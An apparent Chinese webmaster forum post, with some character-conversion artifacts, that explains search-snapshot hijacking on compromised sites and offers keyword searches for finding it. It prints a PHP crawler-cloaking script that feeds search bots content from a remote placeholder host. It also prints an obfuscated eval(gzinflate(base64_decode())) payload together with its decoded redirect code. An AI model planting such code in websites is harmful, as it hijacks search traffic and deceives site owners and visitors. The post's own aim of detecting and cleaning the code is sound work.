最近客戶網站雖然百度收錄了三四萬 但發(fā)現好多快照標題不是自己網站的標題,麻煩啊 經過仔細查找 重要找到了解決辦法。
所謂的黑客利用漏洞 或者文件上傳可以修改程序文件或者上傳程序文件,這個文件是干啥的呢?就是用來區(qū)分是蜘蛛還是平常訪問,如果是蜘蛛爬行的話 他就引導蜘蛛抓他網站的頁面,導致快照標題是黑客搞的 點進去卻是自己網站的標題。
類似這樣的篡改網頁標題的方法 現在發(fā)現有倆種
1、這些人會上傳一個文件 文件是:
- <?php
- @error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING);
- ini_set('display_errors',0);
- $spider_arr = array(
- 'baiduspider',
- 'baiduspider/2.0',
- 'baiducustomer',
- 'baidu-thumbnail',
- 'baiduspider-mobile-gate',
- 'baiduspider-mobile-gate',
- 'baidu-transcoder/1.0.6.0',
- 'googlebot/2.1',
- 'googlebot-image/1.0',
- 'feedfetcher-google',
- 'mediapartners-google',
- 'adsbot-google',
- 'googlebot-mobile/2.1',
- 'googlefriendconnect/1.0',
- 'sosospider',
- 'sosoblogspider',
- 'sosoimagespider',
- 'sogou web robot',
- 'sogou web spider/3.0',
- 'sogou web spider/4.0',
- 'sogou head spider/3.0',
- 'sogou-test-spider/4.0',
- 'sogou orion spider/4.0',
- );
- $not_spider_ip_arr = array(
- "222.77.187.33",
- "125.90.88.96"
- );
- $ref_arr = array(
- 'baidu.com',
- 'google.com'
- );
- $agent = $_SERVER['HTTP_USER_AGENT'];
- $rip = $_SERVER["REMOTE_ADDR"];
- $referer = $_SERVER["HTTP_REFERER"];
- $spider = false;
- foreach($spider_arr as $_spider) {
- if(stripos($agent,$_spider) !== false) {
- $spider = true;
- break;
- }
- }
- if(in_array($rip,$not_spider_ip_arr)) {
- $spider = false;
- }
- $ref = false;
- foreach($ref_arr as $_ref) {
- if(stripos($referer,$_ref) !== false) {
- $ref = true;
- break;
- }
- }
- if(array_key_exists('bd',$_GET)&&$ref) {
- $xt = trim($_GET['bd']);
- Header("Location: ".'http://www.baidu.com?'.$_SERVER['SERVER_NAME']);
- exit;
- }
- if($spider) {
- echo file_get_contents('http://www.xxx.cn/web/bbs/xin.asp');
- }
- ?>
復制代碼 所以有遇到這樣情況的站站 請根據這個程序的關鍵字進行批量查找網站,比如 批量查找 echo file_get_contents( 這樣的關鍵詞語。如果您懂程序 就會發(fā)現 此程序的原理就是我剛說的 。
2、這些人 會 在網站上掛上
- eval(gzinflate(base64_decode('hVZ7b9owEP8fie/gWlGbrBASWFlbRqtuZRpTH4hV2ySGIje4xWpeckxY1fHdd3YeBGg6FMnx3e/ufvewSb1Wr1HOQ+5wGoVcsOBRt4xeveZ6JI4R8bxw6bAIvdRrqF5LCEdaIesjwjl51rHd7ph2+8j8YJt2s31k4QZuWx2zbR2bXcu0u1Ym7HbN9vsTs3sMKpC1FbANiGMwBLBtK6EMD8EeFoErWBggx3HDIBZ84QrdACKrbfWM7mgjzhIiKCpQPnmiI04fhyNdA7RRr8mUEHtAOmzhUeIGbmLDUNnCTyPDEWRJ/0ReOKM6NnFD2fZS9UPIKXHnSFc4EiPtqX+mJYV56n0vd59sOlcBImDkeMxnApl9pIk5i5tnZapJHmwLClx6uZ8Vol5My24Ji24Wfpl6E6gnJeK6xvoZbGJNexr7WGxtuT08NAqHKjQEVes5/otNjZ3iiVx666CrqrQgeR6FsV6SNmQpbaPfl7X3aFDWGU3bOFd7E0/xKSDNYrdOOX1RS5p+0bNSbKgo+FdG6VQgxKlY8KCM6lWOzCMVF573yQvdJ2hFXg/Z06xR+UnY7CmDuHapMOsx2bR6dWJyHxGZzTiN0RtDsWMCYEjXYXCSPeKm84p/y6HN3Rm9KqPC5h3YTKzmyfTFbnRWyvYVq4IdbskxiExYd1FQ4FhMpjKJ3GQHdHi4O0PZkvcqc7Ru1OLeY+66T+6cph2SZQS0IPceXVduq43gRhvG30IW0BmAHggMj5JFGyaO6zEaCOhTZiLVgjNfh1cpUXOQBVORsz4XQtXfhHiLVC3xaup8IgCFX1KdLDE4TEdgTsmMch1/vbsbteBORB3LRtdhAkxHlPskAEbes7ogc+hV6BJZhVM0FyI6bbWWy6VJ3XgeRoL60FRBTTf0lY0qYPrUa1l14eKkbx6BciGyNEBKgySl6Xy+Gg5u7pzhCBtof18Ok0ti6vpRJayB8CJ4CsJlANeh6hiUtgoM3NTx3on7y/lyO/55Mb4cXMq3t6PvgP/PYcfkNSbjwfXt3cC5uLysJrCBeTPuBrIcjsUxFbrmfB+MfwzGk4MS8GCq4lbotihVoF4lVYHNaOWowrCXT5Se3RirfKi0UJ299IshoMvio0JPj5GO9taQ5tn6NBvw96Xu538=')));
復制代碼 這樣的東東,其實懂程序的人也知道 他只是障眼法,這個是通過encoded_data 這個函數把php程序進行壓縮,我們發(fā)現通過 base64_decode解碼出來后 是:
- <?php
-
-
- error_reporting(0);
- class allow_ip {
-
- var $allow_ip = array("123.125.71.1-250","203.208.60.160-250","66.249.68.200-220","220.181.108.11-220");
-
- function __construct(){
- }
-
- function __destruct(){
- }
-
- private function makePregIP($str)
- {
- if (strstr($str,"-")) {
- $aIP = explode(".",$str);
- foreach ($aIP as $k=>$v) {
- if (!strstr($v,"-")) {
- $preg_limit .= $this->makePregIP($v);
- $preg_limit .= ".";
- } else{
- $aipNum = explode("-",$v);
- for($i=$aipNum[0];$i<=$aipNum[1];$i++){
- $preg .=$preg?"|".$i:"[".$i;
- }
- $preg_limit .=strrpos($preg_limit,".",1)==(strlen($preg_limit)-1)?$preg."]":".".$preg."]";
- }
- }
- } else {
- $preg_limit = $str;
- }
-
- return $preg_limit;
- }
-
- private function getAllBlockIP(){
- if ($this->allow_ip) {
- $i = 1;
- foreach ($this->allow_ip as $k=>$v) {
- $ipaddres = $this->makePregIP($v);
-
- $ip = str_ireplace(".","\.",$ipaddres);
- $ip = str_replace("*","[0-9]{1,3}",$ip);
- $ipaddres = "/".$ip."/";
- $ip_list[] = $ipaddres;
- $i++;
- }
- }
- return $ip_list;
- }
-
- public function checkIP() {
- $iptable = $this->getAllBlockIP();
- $IsJoined = false;
- $Ip = $this->get_client_ip();
- $Ip = trim($Ip);
- if ($iptable) {
- foreach($iptable as $value) {
- if (preg_match("{$value}",$Ip)) {
- header("HTTP/1.1 301 Moved Permanently");
- header("Location: http://www.xxxx.com");
-
- }
- }
- }
-
- return true;
- }
-
- private function get_client_ip(){
- if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
- $ip = getenv("HTTP_CLIENT_IP");
- else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
- $ip = getenv("HTTP_X_FORWARDED_FOR");
- else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
- $ip = getenv("REMOTE_ADDR");
- else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
- $ip = $_SERVER['REMOTE_ADDR'];
- else
- $ip = "unknown";
- return($ip);
- }
- }
-
- $oBlock_ip = new allow_ip();
- if( !$oBlock_ip->checkIP() ) exit;
- ?>
復制代碼
那么第二種方式 站長可以用 eval(gzinflate(base64_decode 關鍵字進行批量查找程序 看是否有。
以上就是目前發(fā)現的2種掛馬 篡改快照的方法。
|